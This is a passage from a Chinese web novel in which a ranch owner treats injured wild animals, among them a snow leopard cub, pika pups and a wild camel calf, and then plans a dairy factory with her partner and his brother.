还有两只西伯利亚花栗鼠关在一起的，外伤。 等再看到下一个笼子姚新泉真是都不知道说什么了，四只鼠兔幼崽！不是，有必要用笼子吗？都不怕漏出去？ 她仔细分辨了下品种，好像还是伊犁鼠兔…… 好家伙，现在好像总共也就两三千只吧？一次给她送了四只过来是要干啥？ 另外还有两只赤狐，一只好像是尾巴断了一截，被草草包扎了，还有一只前腿上有一条很长的伤口，应该不算太深，不然的话没缝合的情况下血也止不住，不过这俩都在朝姚新泉哈气。 她大概转了一遍，确认了一下他们的情况后分了个轻重缓急，首先是没什么伤，但是需要找食物的五个幼崽，其中野骆驼幼崽的话就算找高局他们估计也只有用骆驼奶代替这个方案了，所以倒也还好。 但是鼠兔幼崽不一样了，无论是牛奶还是骆驼奶都不合适，即便是相对来说不太容易乳糖不耐受的羊奶都不是很合适，得问问高局那边看能不能找到啮齿类奶粉之类的，如果实在没办法，那只能想办法去稀释羊奶，先撑过哺乳期再说吧！ 另外四爪陆龟也比较严重，肺炎再发展发展的话就更不好救了，之后就是处理小动物们的外伤了。 倒也不是她不先去处理外伤，只是送到这里并且目前还没濒死的小动物们，至少它们的外伤在短期内应该是不致命的，还能等等。 做好计划后她先跑去让师月江给高局打电话，没一会儿就听他满脸无奈道，“高局说找不到其他奶粉，他给送头哺乳期的羊上来。” 姚新泉扶额苦笑，“你跟他说要奶瓶跟针筒了吗？小鼠兔未必会自己吃。” 师月江点头，“说了。” 姚新泉叹气，“你去家里那个苜蓿地里摘点苜蓿叶子回来，清洗干净后晾晒干然后把叶子剪碎跟凉白开的比例差不多在一比三吧，然后找个密封好点儿的罐子，清洗干净后放进去发酵，大概24小时左右，到时候看到瓶子里有少量气泡就能用了。把汁水过滤出来后一次给它们滴上一两滴在奶里，也算是益生菌缓解肠胃压力吧！” 大城市里也许有动物专用的益生菌，但她之前就了解过了，他们这边是没有的，连相对药物较全的艾力那边兽医站都没有。 “先坚持个一周看看吧，这小鼠兔我估计也就出生了两三天，正常情况它们的哺乳期应该能持续个三周左右再开始吃草，要是不行咱们就提前断奶吧！” 她也是没办法了，啥都没有，如果它们的肠胃真的受不了羊奶的话那与其让它们一直喝奶然后导致腹泻之类的，倒不 如干脆直接吃草，提早适应吧！ 师月江点头，“那行，我去盯着这些事情。” 姚新泉回了畜棚，四爪陆龟还在笼子里关着，她把药箱里的恩诺沙星拿了出来，打算给陆龟进行皮下注射。 她刚才已经仔细观察过了，陆龟口鼻处都有粘液，而且还比较粘稠，呼吸有湿性啰音，而且整个脸部都有些肿胀，应该是细菌性肺炎。 她把笼子打开，拍了拍陆龟的头，小家伙有气无力的，头耷拉着没有精神，既没有对姚新泉表示亲近，也没有反抗。 她叹了口气，还是幼年期的小龟呢！ 它的背甲也就10厘米左右，体重应该就200克吧，还是幼年体，估计也就两三岁的样子。 小陆龟的甲壳边缘处还因为碰撞有了裂纹，她一触碰小陆龟立马回头想要咬她，姚新泉赶忙避过。 受伤处边缘泛白，还有一些絮状物，还有少量粘液流出混合着泥沙。 姚新泉头疼得不行，她点着陆龟的脑袋安抚了半天，好赖不咬她了，她赶忙用针筒吸入生理盐水给伤口处冲刷，等看不到血丝跟泥沙了才停下来。 它伤口处的甲壳虽然有些裂了但是并没有脱落便也不急着处理，等自行恢复吧！ 又给涂了抗真菌的软膏跟药后便没再做其他处理，先看看效果吧！ 它这个比较严重也比较着急所以还是用西药比较快，也比较方便。 姚新泉给它找了个干净的小箱子把它放进去，然后又从外面挖了些蒲公英跟荠菜撕碎了放在它箱子里便没再管了。 她一回头就看到小雪豹正在疯狂舔它受伤的爪子，姚新泉眉头立马皱了起来，得找个东西防舔舐啊！ 她四下打量了一圈后有些头痛，用什么东西呢？半晌无奈地找了个纸壳子比划了小雪豹脖子的宽度和头部的长度后制作了一个下小上大的围脖套在了小雪豹脖子上。 小雪豹先是一脸懵，随后便想伸爪子去撕扯，姚新泉也没阻止，只是凉凉道，“你要是弄坏了我就让莱尼过来看着你。” 小雪豹还没什么反应，莱尼突然从外面又跳了进来，小雪豹僵在原地，姚新泉哭笑不得。 她把莱尼又抱到外面，在莱尼头上么么两下后回来看向小雪豹，就见它乖巧坐在原地，一点没有想搞破坏的意思了。 姚新泉眼中闪过一抹笑意。 见小雪豹能“适应”这个颈圈后姚新泉反倒是把颈圈给它取了下来，“我先给你处理下耳朵。” 这小家伙刚才又是舔爪子，又是挠耳朵的，感觉浑身上下就没个舒坦的地儿！ 第128章 她把小雪豹的耳朵翻折过去低头看了一眼,这一看眉头又皱了起来。 耳朵红肿，而且已经出现黄褐色的脓液了，一靠近就有一股异味传来。 姚新泉赶忙用生理盐水先给它清洗了一下,再用棉签细细清洗了一遍,然后涂抹了抗生素药膏。之后不要再进水,持续涂抹也就成了。 她把颈圈又给雪豹戴上了,然后抬起了小雪豹的爪子,这一看眉头便皱了起来。 伤的不轻。 她轻轻抬起了小雪豹的右前爪,能看到的4个指甲里三个是完全脱落，还有一个半掉不掉的，每次它爪子一动都会碰到那个指甲，想想都痛。 另一个前爪情况差不多,至于侧面的两个指甲倒没脱落,只是也断裂了。 后爪情况稍好,断裂了没脱落，但也有出血。 姚新泉看着都疼，她低头仔细打量着小雪豹的伤情,没注意到小雪豹看着她的眼神渐渐不对,它的瞳孔渐渐缩成一道细线，灰绿色的虹膜透着冰冷的光,像利刃一样刺向姚新泉。 就在它龇牙的同时突然听见了一声短促而嘶哑的低吼声,小雪豹瞬间伏地。 姚新泉这才发现不对,她转头看了一眼不知怎么又跳到了围墙上的莱尼,又看了看缩头缩脑的小雪豹，姚新泉懂了。 她没好气地戳了戳小雪豹的脑门儿，“你可真行，我在给你看病,你在琢磨怎么咬死我是吧？” 小雪豹低头不看她，姚新泉憋气，可到底也不好跟个动物计较，又是个小崽子，再加上它那个伤看得人心里也不舒服。 唉！ 姚新泉抱了莱尼一下，本以为自己又要被抱走，但发现姚新泉松开了自己，莱尼瞪大了眼睛。 姚新泉好笑地轻轻碰了碰她的鼻子，“不赶你走了，你在这保护我好吧？” 莱尼在窄窄的围墙上走出了趾高气昂的感觉，但即便是转身，目光也没离开过小雪豹身上。 而小雪豹，自从莱尼又一次出现后它便再也没敢有任何反抗的举动了。 小雪豹爪子上的伤口已经没有再出血了，但是她刚看了一下，伤口里面可脏着呢！ 她找了个剪刀过来先给小雪豹把四只爪爪上的毛都剪了，肉垫中间也没放过。 她拿出了消过毒的针筒，吸满生理盐水后小心冲洗着指甲处，把里面堆积着的沙子泥土还有积血都冲洗出来。 肉垫上也一样，把脏东西都冲洗干净了。 姚新泉蹲在地上觉得费劲儿，干脆盘腿坐在地上，把小雪豹的爪子搭在自己膝盖上。 她拿出消毒过的镊子，刚想动手可是看到小雪豹那微微颤抖的身体又觉得心里难受，“我给你扎两针做个麻醉吧，你别反抗啊！” 西药麻醉是别想了，艾力那边每一只都是有记录的，不能随便使用，她也不可能去找人家要这个。高局说给她送，但至少目前还没送。 中药的话不管是生川乌还是生草乌都没买到，因为都有毒，而且毒性比较强烈，一般药房都没得卖，好多配方都用不了。细辛也没了，就剩一点花椒。 没办法只能针灸麻醉了，倒不麻烦，主要是怕小雪豹抗拒，效果好不好也不太好说。 姚新泉轻轻碰了碰小雪豹的鼻头，湿漉漉的让人心都软了，“你不要反抗啊，你有根指甲断的比较深，要把里面残余的拔出来肯定特别疼，我得给你麻醉，让你不疼知道吗？” 小雪豹耳朵动了动也没什么别的表现，姚新泉就全当它没意见。 她给了莱尼一个眼神后拿起消毒过的针，刺入耳神门，减少它的应激反应。 姚新泉能感觉到当针刺入小雪豹身体的时候它浑身都绷紧了，姚新泉暗暗叹了口气，这小家伙可真警惕啊！ 她放缓了动作，空着的手轻轻挠了挠小雪豹的下巴，“别担心，很快的，放松好吗？” 等它放松下来后针彻底刺入，然后一一刺入百会穴、合谷穴、内关穴、曲池穴等穴位，留针了二十分钟左右后把合谷穴的针拔掉。 倒不是不想留针，主要是合谷穴是位于前肢第一、第二掌骨之间基本相当于人类虎口位置，这里留针很影响操作的。 估摸着就算没完全镇痛但应该也能减弱了，姚新泉这才小心抬起它的前爪，将断裂在里面的部分取出。 见有出血，姚新泉又赶紧拿蘸了碘伏的棉球按压，等不再出血后这才涂抹了红霉素软膏。 她这边外用的西药也就只有红霉素软膏，口服的话有阿莫西林克拉维酸，可以防败血症，至于恩诺沙星之类的，幼兽吃了不好，所以没给安排。 她这边没有能促进伤口恢复的西药，只能自己配点中药了。 指尖涂上药膏后，她又拿起消毒过的剪刀，把小雪豹肉垫上已经被撕裂的坏死的皮瓣剪掉，也给涂上红霉素软膏后用纱布包扎好，一只爪爪便算处理完了。 按部就班地给四只爪爪都处理完还包成小馒头后姚新泉感觉小雪豹的怨念深的不行。 她好笑又好气，“你四个爪都伤了，不包起来怎么好？等好了会给你拆开的！不许咬这个项圈啊！”硬质壳子做的项圈可经不住它的牙！ 莱尼伏在一边慵懒地伸了个懒腰，姚新泉见状把她抱了起来，“你专门在这守着我的是吧？” 家里来来回回这么多小动物，可没见莱尼因为哪个小动物专门守到她身边来。 感觉这次也是因为小雪豹到底是顶级猛兽，哪怕现在是个幼崽，但是人家身上还是带着些特别的气息，或者是它母亲的气息？ 总之这让莱尼有些忌惮，所以专门守在自己身边，姚新泉怎么可能不感动！ “过会儿让你爸爸给你煮肉吃啊！”姚新泉摸了摸莱尼的耳朵让她自己去玩了。 姚新泉去了盘羊那里，盘羊和鹅喉羚都被她一早从笼子里牵出来了，为了防止它们乱跑，还专门给它们在脖子上栓了根绳。 这次送过来的家伙不是幼崽就是亚成年期，反正都没完全成年，鹅喉羚也是，看角的长度估计七八个月的样子。 它倒没有什么别的伤口，就是角断了一根，万幸的是角基没有断裂。 鹅喉羚的角是由角基和角鞘组成，角基就是与头骨相连的骨芯，而角鞘是外层角质。她仔细看了鹅喉羚的角折断处，只是角鞘部分断裂，角基是完好无损的。 再加上它现在到底还没完成成年，角鞘还是会缓慢生长的，只是未必能长到原有的长度和形态的。 想到这里姚新泉又想叹气了，她摸了摸它的断角，小鹅喉羚也是难得的大胆，不停用鼻子去拱她的手。 鹅喉羚是一种很警惕和胆小的动物，人一靠近的话，就会飞快跑开。 但这个小家伙不一样，它从到了牧场之后就瞪大了眼睛东看西看的，姚新泉在给小雪豹清创的时候它也伸着脖子使劲儿往这边看。 当姚新泉给小雪豹扎针的时候它又赶紧躲开，没一会儿又继续偷看…… 傻不愣登的…… 不过之后即便找到小家伙的族群，它也未必能回去了啊！ 估计这也是它虽然没受什么需要立马治疗的伤可一样给送过来的原因。 公鹅喉羚的角本来就是它们的武器，现在武器折断了，不说它的族群会不会接纳它，就算能接纳，它还有野外生存的能力吗？ 唉，姚新泉摸了摸小家伙，傻点儿心大点儿也好！ 没再去管小鹅喉羚，姚新泉去看了看小盘羊，看体型应该也就刚断奶吧！ 小盘羊腹部有一道七八公分的伤口，不知道是什么划伤的，伤口倒是不深，但是有点儿感染的迹象，泛红，还有点儿肿。 姚新泉给它做了清创，可想到自己根本没有外用的抗生素又头疼，这种外伤还是直接注射抗生素更方便啊！ 没办法，只能等会儿给它调制点儿药膏敷上，再适当少给点儿恩诺沙星了。 大天鹅的翅膀断了，不是开放性骨折，她找了几块干净的木板煮沸消毒后给它复位后固定住。 大天鹅很不安，倒没有攻击它，但是情绪很不好，姚新泉怕影响它的恢复，干脆拎着笼子去了最角落的地方，把食物、水和药都给它喂好后就暂时不管它了。这种胆子比较小的家伙避免跟人类直接接触会比较好一点。 两只受伤的雪兔估计也是在水里不知道撞到了哪里，一只身上有好多细碎的小伤口，另一只耳朵上豁了一块儿。 姚新泉只能给它们剃毛后再清创了。 赤狐的情况差不多，没多久姚新泉便算是把这几个小家伙都处理完了，不算麻烦，除了小雪豹以外伤情都算不得太重，姚新泉之前不觉得，现在倒更觉得高局是不是想着自己把它们将来的野化一起包了才送到这边来的。 不过她也不怎么排斥，姚新泉在这里出生也在这里长大，这片土地从来不止属于人类，能帮一把她自然也是高兴的。 甚至于像是小鹅喉羚那样，未来如果确实没办法野化的话，只要县里没意见，她这边也可以接收。 不过是只食草动物，她这么大一片草原还养不下一个它？ 第129章 牛奶刚放凉,姚新泉正打算先少量给小野骆驼喂一些垫垫肚子就听到有人来了，她赶忙出去看，就见巴合提亚尔站在拖拉机后面朝自己招手。 姚新泉看到他又看到车厢里面的骆驼乐了,“你这也太快了吧？” 巴合提亚尔骄傲地拍了拍胸膛,“你难得让我做点儿事情,我肯定得赶紧得！” 姚新泉让拖拉机直接开进来,然后搭了板子让母骆驼跟小骆驼一起下来,没办法,小骆驼还没过哺乳期，总不能因为这边有需要就让小骆驼提前断奶吧！ 骆驼的哺乳期很长，国内主要养的是双峰骆驼，巴合提亚尔家自然也是,这种骆驼的哺乳期差不多是18-24个月,比单峰骆驼的还要长。 不过一般情况下小骆驼差不多一岁就开始逐渐吃草了,就跟人类小孩儿吃辅食一样。 姚新泉摸了摸正在啃自己衣角的小骆驼，巴合提亚尔夫妻俩都挺爱干净的，小骆驼也收拾的利利索索。 米白色的绒毛,一眼看过去跟个大号玩偶一样！眼睛又圆又亮,眼睫毛弯曲卷翘，大脚丫子扁扁的,跟在姚新泉身后小跑的时候发出吧嗒吧嗒的声音。 它背上的两个驼峰软绵绵的,里面还没开始储存脂肪,跟骆驼妈妈的完全不一样。 小骆驼还是个好奇宝宝,见姚新泉跟巴合提亚尔说话，一听到声音就歪着头看她，把姚新泉萌的不行。 “这也太可爱了吧！”姚新泉感慨，小动物们小的时候基本每个都是萌宝啊！ 巴合提亚尔笑了起来,“喜欢吗？到时候给你留下？” 姚新泉赶忙摇头，“我就这么一说，你可别什么都想着送我”，这夫妻俩手指缝有多大她是清楚的，上次送来那么老多肉…… “这不是感谢你吗？我们村干部跟我说了，县里马上要开个公司从我们这里收熏马肉跟马肠子，人家说了是你们亲戚要收，你给我们挣钱的路子，一头小骆驼而已嘛！” 要说他没钱，那不至于，毕竟家里那么多牲畜呢！ 可要说家里有钱，那也不至于，家里什么不要花钱？牲畜还得留着繁殖，确实没有流动资金啊！ 家里巴郎子结婚就得赶紧卖牛卖羊，但他们这边但凡家里有个空地方的人，可能都会养上一两头羊，哪怕不是自家养，让人家代养的也有，肉卖不上价的。 现在能卖到外面去，那个价格可划算了！他怎么能不高兴！ 姚新泉带着他去了小动物那边，指着小野骆驼给他看，“那个，野骆驼，跟家养的不太一样，但是外表上区别不算太大。” 小野骆驼比巴合提亚尔家的小骆驼年龄要小上不少，身体上也小了一圈，别的硬要说区别的话，一眼还真看不太出来。 巴合提亚尔看看小野骆驼，眼中满是好奇，“直接抱出来让喂吗？”牛羊也有这样的，有些多胎没奶的就抱去吃别的牛的奶。不过有些母牛母羊会不愿意，甚至还会咬它们或者踹它们，所以得注意一点儿。 姚新泉摇了摇头，“不能直接喂，等挤出来后煮开了再说，家养骆驼一直跟人生活在一起，对于好多病原体的接受度更高，甚至会随身携带，但是野骆驼可能就接受不了，容易生病，得煮开杀菌。” 巴合提亚尔愣了愣，他挠了挠头不太懂这些，病什么体？ 不过他知道姚新泉懂得多，按她说的来就成。 师月江把益生菌弄好了之后在去菜地里收拾菜，稍微高一点的菜都倒了或者断了，能救的得救一下，听到动静后也跑了过来，“我去挤奶煮沸？” 姚新泉点头，“就跟前面说的一样就行”。 母骆驼脾气很好，陌生人来挤奶它也没反抗，倒是小骆驼见有人抢他的口粮没忍住冲过去咬师月江，倒让师月江哭笑不得。 他推开小骆驼的脑袋，“宝贝儿，饿不着你的！” 巴合提亚尔哈哈大笑，他坐在地上把小骆驼搂在怀里，小骆驼急着往外拱，它越着急，巴合提亚尔笑得越欢。 姚新泉为他的恶趣味感到无语，两人聊了一会儿养殖的事情，就听到外面有摩托车的声音，过去一看，果然是高局让人送了一头哺乳期的母羊来。 “羊娃子呢？”见母羊没带羊羔，姚新泉有点好奇。 “死了，这两天天气不好，生下来后就拉稀，两天就没了。” 姚新泉沉默了一会儿也不知道该说什么，她摸了摸羊妈妈的脑袋，巴合提亚尔帮着把羊拴在了栏杆上，又给它挤了奶，小骆驼还凑过来想要喝两口尝尝。 姚新泉是真没见过这么活泼的小家伙，估计长大了又是个 皮皮！ 把羊奶也拿去煮沸消毒，巴合提亚尔准备走了，就见师月江拎了个油桶过来，把桶递给他，“家里的牛奶，这两天厂子那边也顾不上来取，带回家喝吧！” 巴合提亚尔也没拒绝，高高兴兴接过牛奶搭着工作人员的车下山了。 骆驼奶放温后，姚新泉兑了四分之一的温水，又把高局让人带来的奶瓶奶嘴在热水里烫了一下，“你给小骆驼喂，用那个大一点的瓶子”，姚新泉指着一个跟娃哈哈瓶子差不多大的奶瓶。 “我用针筒给小鼠兔喂奶”，小家伙们太小了，容易呛到，只能用针筒慢慢喂，师月江之前没喂过，怕呛到。 师月江没意见，他兑了一瓶骆驼奶，姚新泉则是装了一碗温热的羊奶，又拿了四个针筒，两人一起去了畜棚。 小野骆驼似乎闻到味道了，耸动着鼻子往师月江这边挤，师月江笑着走了过去，把奶瓶举到略微高过它嘴的高度递给它，小野骆驼毫不迟疑地一口咬了上去。 当然了，它还没牙齿。 就因为小野骆驼还没长牙所以姚新泉才觉得这小家伙应该才刚出生，正常骆驼快的话出生后一两周就会长出下门齿乳牙，满月之后差不多就会长出上颌前臼齿乳牙，三个月基本上能长齐。 像是巴合提亚尔家的那头小骆驼的牙就已经长齐了。 小野骆驼用牙龈咬了半天可没见着东西眼见是着急了，嘴里都发出哼哼唧唧的声音，师月江赶紧捏了下奶瓶。 这奶瓶不是玻璃的，反正有点软，可以捏的动，他一捏，骆驼奶进入小野骆驼的嘴里，这小家伙眼睛瞬间亮了起来，突然掌握了喝奶的窍门用力吮吸！ 师月江目光很是柔软，这小家伙可真可爱啊！ 咕咚咕咚大口喝奶的模样看得人心都化了！ 姚新泉那边进展就更顺利了，她一把抓住小鼠兔将它拎到腿上，把羊奶注射器対到小鼠兔嘴边，小心挤出一点到它嘴里。 小鼠兔明显愣了一下，等它嘴里的咽下去后姚新泉又继续挤。 小鼠兔现在不见得比小老鼠大，体重估摸着也就三四十克，两到三周大的样子，还没断奶呢！ 一般情况下鼠兔要5周左右才能断奶，不过现在也可以慢慢地去啃食一些嫩草了。 她用的是3毫升的注射器，每次吸入差不多一毫升左右，喂上三次也就差不多了。 等姚新泉把这只放下去后才忍不住松了口气，太难了！ 太小了，她但凡稍微用点劲儿，这小家伙就能被她捏死！ 她都好奇了，高局他们是怎么发现这窝鼠兔的？ 等把四只全部喂完后姚新泉忍不住擦了擦额头的汗，师月江已经喂完骆驼了，见状便道，“下次我来吧，我慢慢来应该可以。” 姚新泉看了看他后笑着点头，“那成，我有点把不准手上的力道”，毕竟不是自己从小到大的力量，平时做一些粗活儿也就罢了，哪怕是在动物身上剌刀子也没什么，甚至是在母牛肚子里拽小牛的时候她都没这么紧张，因为小牛犊没那么脆弱。 可那小家伙也就她大半个手掌心那么大，她提心吊胆的，生怕伤到对方，那可是保护动物啊！ 师月江把她拉起来，两人关好门后去收拾收拾身上，姚新泉去做药膏，师月江则是去给小病号们做饭。 小雪豹和莱尼不一样，莱尼从小时候被救助到现在一直吃的都是熟肉，贸然让她吃生肉她未必受得了。 而小雪豹目测应该是已经断奶了，已经吃了一段时间生肉，还是给它吃生肉吧！ 师月江把高局他们随小动物一起带过来的一条羊腿剔骨后，将瘦肉部分切成小细条，又给它煮了一个鸡蛋，捏碎了放在肉上。 想了想他又问，“要给小雪豹喝点儿奶吗？”不管是牛奶还是骆驼奶都煮多了。 姚新泉点了点头，“可以，一点点羊奶吧，跟温水一比二兑一下，看看它拉不拉肚子，要是接受不了就别喂了，也不缺这点儿营养。再把给娜娜他们煮肉的肉汤也可以给它一碗就成。” “鹅喉羚、盘羊还有赤狐都能给点儿羊奶，不要太多，也一比一兑水吧！” 见师月江遗憾没能把骆驼奶处理掉，她没忍住笑着瞪了他一眼，“你就不能把那骆驼奶再烧开了咱俩喝完啊，你非给小动物们喝干嘛？” 现在天热，小野骆驼喝不完的只能他们笑纳啦！ 第130章 “怎么样,厂子明天收吗？”师月江下午跑了一趟奶制品厂，见他回来姚新泉便出来问。 之前因为天气原因暂且不提，但总不能不给个明确时间说什么时候要收吧？ 85头奶牛全都生了,虽然还没到泌乳高峰期,但是算下来一天也快有一吨半的产奶量了。 他们不要可姚新泉不能不挤啊？ 如果不挤奶的话奶牛短期很可能会得乳腺炎,之后便是产奶量降低,最后停止产奶,进入干奶期。 家里牛养来就是为了产奶的,要是因为这提前结束产奶，别说小牛犊怎么办，就是他们的损失都不可估量啊！ 但是挤了然后呢？ 厂子不要，量太大了总不能说是出去一家一家问要不要买牛奶吧？ 更别说如今街上乱的很,还都没清理干净呢,可别出去捣乱了！ 师月江脸色也很不好看,他之前打电话问了一次，对方敷衍了两句很快便挂了电话，啥也没讲清楚,所以他便打算去一趟当面问问。 你现在不要也行,但是你总得跟我讲清楚到底什么时候要吧？ 可他这次去厂里别说见到厂里负责人了，就是小领导都没见着一个！ 人家不让他进厂区,也不说原因,给好几个人塞钱问了才知道大概原因。 “听说机器被泡坏了”,师月江叹了口气,“他们那机器本来就老旧了也没听说有安排更新换代，搞不好原厂都停产了，想修或者想更换零件都不好找东西”，但盈利又不足以买新的,唉！ 姚新泉眉头紧皱，那看样子就不是一天两天能恢复的了，在恢复之前牛奶怎么办？ “咱们消耗不完的”，师月江摊了摊手，表情无奈。 要是一两百公斤他都能接受，这一天一吨半，这谁能消耗得掉？ 家里小动物是多，但是能直接喝牛奶的可没几个，即便给他们调和一下那也容易腹泻，还是算了吧！ “我也没想着咱俩能消耗完”，姚新泉苦笑，他俩之前商量了，一部分做奶皮子，一部分做奶疙瘩，还有的可以做酸奶。 但他们就俩人，不管是哪个都是耗时间的事情，别说有没有时间了，他们俩就算各长八只手都忙不过来啊！ “送人吧”，姚新泉抿唇，别说心不心疼可不可惜，浪费了才是真心疼，真糟蹋东西了。 师月江没拦着她，但是他提出了别的想法，“咱们要不要捐出去？” “捐出去？”姚新泉一愣，“捐给谁？” 不等师月江提醒她便反应了过来，“你说直接捐给政府？” 师月江点了点头，没错，捐给政府。 他们自己出去送人不也麻烦？运输什么的也是在给人找事，不方便。都已经不赚钱了，总不能再往里搭钱吧？ 如果直接 捐给政府处置的话，那至少不至于让他们再负责运输的。 “不过不是长久之计，咱们也不是什么大户，短时间也就罢了，总不能一直捐吧？” 按师月江的想法，捐也不是说谁家都给的，比方说负责救援的工作人员，负责善后的工作人员，或者是凭借户口本给家里老弱病残孕来领？ 但这都是短期的，还是得找个长远的办法解决这些问题。 “咱们开个厂子吧！”师月江突然道，姚新泉闻言瞪大了眼睛。 “你疯了吧？” 他们哪来的钱开厂子？这一年主要还是忙着扩张了，正儿八经真的赚到钱的也就是那批羯羊，但问题那都几个月前的事情了，总不能就指着那一笔钱吧？ 再说了，扣除掉成本后真能买得起机器？ 如果说问银行贷款，在已经有这么一笔贷款背在身上的情况下，人家能给贷？ “你先别急，我有一些存款，我哥那边也有，咱们这边不管是咱家还是别人家的牛奶质量都很好，论起品质来绝对不会比人家的差。” “县里的厂子之所以没能盈利，一方面是技术落后导致的质量差，另一方面是市场开放了可厂子并没有顺应时代的发展提出什么新的符合时代发展的管理方法，没了国家和政策的补贴，根本没办法适应市场竞争。与此同时也没有形成除了本地之外的稳定销售渠道，这种情况下亏损甚至倒闭是必然的，但咱们就不一样了。” 师月江侃侃而谈跟姚新泉分析他们的优势，“咱们如果开，设备不说最新的，但至少得是能满足市场要求的”，不一定要最新最好，而是要性价比最高。 “私人厂子的压力没国营厂那么大”，别看这只是个县级的小厂，但是一样有各种各样的福利待遇，幼儿园、医务室等等，对员工来说有利，可是对企业来说这就是负担。 他也不是说要剥削普通工人，该给的肯定要给，但是一些不应该由企业来承担的福利待遇和社会保障那就没必要硬让企业来承担了。 “咱们也没必要跟这家厂子抢占市场”，虽然说在他看来这个工厂有各种各样的弊病，倒闭是迟早的事情，但是这家工厂也是本地许多人的童年中的记忆，他就听姚新泉说过她小时候就喝了不少这家工厂出的奶粉。 早年她爸妈还是牧场工人的时候养的牛羊不是自家的，牧场能定牛奶的时候就从牧场定，产量不足不给定的时候就去奶制品厂买奶粉。 至少对于本地人来说，也许他们在这家厂子的产品和外来产品之间选择这家的。 他们也不是非要在这边竞争，市场这么大，就算不在本地卖，有他哥的关系，难道还会找不到市场了？ 只要东西好。 “至于管理人才之类的，那也不是什么问题，从内地往这边招人难”，不用说，有机会的话人家只会从这边去内地，有几个会从内地过来工作的？ “但是咱们可以自己在本地招人，然后送到我哥那边去培训个一段时间，可以跟他们签个合同，必须得在咱们这里干上几年，也不能白让咱培训是吧？” 听着师月江的计划，姚新泉沉默了，过了好久她突然问，“你喜欢做生意吗？在牧场里待着会不会很无趣，你如果” 不等她说完师月江凑近了拉住她的手，表情很是无奈，“新泉，我如果真想做生意，或者说真喜欢做生意，从我退伍之后跟着我哥干就可以了，我没有必要蹉跎时光啊！” “我不是喜欢，只是会，会和喜欢是两码事”，他笑了笑，表情中满是自嘲，“再说了，别说是我，随便拉一个人去我哥那边跟他待上一段时间，他也会学上一两招的。” 师星野这个人在商贾之道上可以说是又爱学又有天赋还能吃苦，他浑身的本事无论谁去学上一两成都能够独当一面，更别说曾经日日耳濡目染的他了。 “我会一些，但也不代表我在这方面有天赋，顶多就是我站在了巨人的肩膀上罢了。” “至于喜欢”，他目光灼灼地盯着姚新泉，“我喜欢这里，喜欢牧场里的小动物们，喜欢靠自己的劳动和汗水赚到我要花的每一分钱，更喜欢你”，他用手背碰了碰姚新泉的侧脸，“我没有为你舍弃什么，你也不用有心理负担，跟你在一起、在这里的每一天我都是幸福的。” 姚新泉眼中笑意渐浓，两人轻轻抱在了一起，“那你去跟师大哥说吧，我不太会做生意，这上面的事情听你的。” 说干就干，师月江给师星野打了个电话，电话那头的师星野听到这话后忍不住笑了，“是我的果然是我的，这厂子不还是开起来了？” 师月江失笑，“那大哥你打算投多少钱，分红怎么算？” “兔崽子跟你大哥计较起来了”，师星野笑骂，可心里却丝毫不会觉得不高兴，亲兄弟明算账，他可以给弟弟给许多的零花钱，但是在做生意的时候就是得算清楚。 “我去了解过这一行，除了厂房以外，冷藏储奶罐、巴氏杀菌机、均质机、发酵罐，还有包装机、锅炉、发电机、暖气片、检测仪等等，倒也不是说一定要进口的，国产的质量合格的甚至是二手的也可以，我之前找人估了个价格，厂房、水电这些算20万，别的估计也得五六十打底，你能出多少？” 姚新泉家的牛奶奶质好，他带回来之后专门送去检测了，各项数据都挺亮眼的，送去朋友家的也都挺喜欢的。 而且他让人专门去调查过，新省牛奶无论是在蛋白质还是菌落总数各方面在国内都是拔尖儿的。 毕竟总的来说内蒙那边草场虽然也好，但是已经因为过度放牧导致草场退化了。 建国后大量人口迁到内蒙那边，无论人口还是牲畜的数量都激增，但是与此同时并没有形成科学的管理，后来因为时代原因，还出现了“以头数论英雄”，过度去追求数量，导致草场出问题。 再加上有过一段缺粮的时间，所以好多草场还被改为了农田。 草场渐渐退化，那牛奶的品质自然会受到影响的。 130-140 第131章 至于南方牛奶品质一直算不上国内顶尖的,一方面是气候原因，高温湿热，但奶牛一般是怕高温而耐寒的动物。 温度太热了会让奶牛有热应激反应,影响它们的食欲,进而产奶量减少,同时乳脂率和蛋白质含量也会降低。 而潮湿会滋生各种细菌,也容易让奶牛生病,比方说□□炎。 还会影响牛奶的各项指标。 除此之外,因为地方不够大，奶牛多是圈养，圈养的哪有散养的好？ 光照不足又导致牧草质量不如新省，那边牛奶质量一般很正常。 所以总的来说如果真做这门生意,师星野肯定还是更看好新省的乳制品的。 他本来还安排了人去给当地其他家的牛奶做检测,只是因为下雨耽搁了,如果说其他家的品质即便不如姚新泉家的，但是一样很好的话那就更没有什么可说的了。 原材料就不缺了。 即便其他人家的一般，但是他可以只收购姚新泉家的,然后走小而高端的路子,供给少部分人群，不会少赚一毛钱的。 不过碍于姚新泉到底跟人家签了合同所以他没急着做什么,他是爱赚钱,但是也不想亲人觉得自己眼里只有钱。 但现在既然有机会了,他也会欣然接受的。 “70万左右,你能出多少呢？” 师月江盘算了一下他哥给他的分红，早几年的话公司确实有盈利，而且不少，但是公司本身的发展也是要钱的,再加上他哥想要稀释那夫妻俩手头的股份，每次的分红都又重新投了进去，给他那是真的就发些零花钱，虽然不算少。 但后来这两年公司经营不错，他哥每年除了给他的零花钱还另外给他分红，当然了大头都被他哥给他拿去生小钱了，只留下些零头。 另外他每个月还定期有一些支出也是让他哥的助理给处理的，毕竟当初一起出去的人，自己回来了人家没回来。 国家的补助是国家的，他虽然不愿意见他们，但是自己能力范围内能帮到的都在帮，不管是孩子读书还是老人看病，每年的固定支出算下来也不是一笔小钱。 另外他哥还给他买了好几套大房子，说是投资，地段什么的都好，将来涨的比做生意还快。 他是不太懂这些，但是他哥说什么他听就是了。 这些杂七杂八全都扣掉，手头也就一百万冒点头了。 “出资咱们一半一半吧，渠道那边就得靠哥了啊”，师月江跟他耍赖，“到时候人员培训什么的你都一起负责了拉倒。” “新泉说了她不参与进厂子，只是提供原料，厂子从她那儿买就成。” 师星野哼了 一声，“你哥就跟个老黄牛一样！” 不过做这些事情他都习惯了，也不会觉得弟弟是拖累，赚钱怎么会累呢？ “行了，你跟新泉过你们的小日子去吧，钱我这边出，厂地什么的你们自己去看一看” 他弟也不能总跟在小姑娘屁股后面打下手，他虽然没什么意见，但是怕人家小姑娘时间长了觉得他没出息，有个小厂子让他管着，又在当地，又是他们同行业的，不也挺好？ 也不费什么事情。 这事情两人在电话里说好了，师星野会安排别的事情，不过他得把厂子地址选好。 听了他的话姚新泉眼睛都瞪大了，“你说要投多少钱？” 师月江抿唇笑了笑，“加起来应该不到百万”，绝对不算少了，正儿八经讲都不算是什么所谓的“小厂子”了。 